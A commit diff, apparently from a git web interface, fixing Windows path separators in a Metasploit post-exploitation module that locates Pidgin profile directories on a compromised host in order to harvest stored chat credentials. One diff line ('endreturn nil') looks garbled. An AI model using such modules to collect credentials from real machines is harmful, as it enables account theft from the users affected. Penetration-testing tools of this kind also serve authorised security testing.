The directory path for the accounts.xml was not set properly for windows systems
parent
5acc0c62d2
commit
24747e18e3
|
@ -54,6 +54,7 @@ class Metasploit3 < Msf::Post
|
||||||
@platform = :osx
|
@platform = :osx
|
||||||
paths = enum_users_unix
|
paths = enum_users_unix
|
||||||
when /win/
|
when /win/
|
||||||
|
@platform = :win
|
||||||
profiles = grab_user_profiles()
|
profiles = grab_user_profiles()
|
||||||
profiles.each do |user|
|
profiles.each do |user|
|
||||||
next if user['AppData'] == nil
|
next if user['AppData'] == nil
|
||||||
|
@ -111,14 +112,22 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
|
||||||
def check_pidgin(purpledir)
|
def check_pidgin(purpledir)
|
||||||
|
path = ""
|
||||||
print_status("Checking for Pidgin profile in: #{purpledir}")
|
print_status("Checking for Pidgin profile in: #{purpledir}")
|
||||||
session.fs.dir.foreach(purpledir) do |dir|
|
session.fs.dir.foreach(purpledir) do |dir|
|
||||||
if dir =~ /\.purple/
|
if dir =~ /\.purple/
|
||||||
print_status("Found #{purpledir}#{dir}")
|
if @platform == :win
|
||||||
return "#{purpledir}#{dir}"
|
print_status("Found #{purpledir}\\#{dir}")
|
||||||
|
path = "#{purpledir}\\#{dir}"
|
||||||
|
else
|
||||||
|
print_status("Found #{purpledir}/#{dir}")
|
||||||
|
path = "#{purpledir}/#{dir}"
|
||||||
|
end
|
||||||
|
return path
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return nil
|
return nil
|
||||||
|
endreturn nil
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_pidgin_creds(paths)
|
def get_pidgin_creds(paths)
|
||||||
|
|
Loading…
Reference in New Issue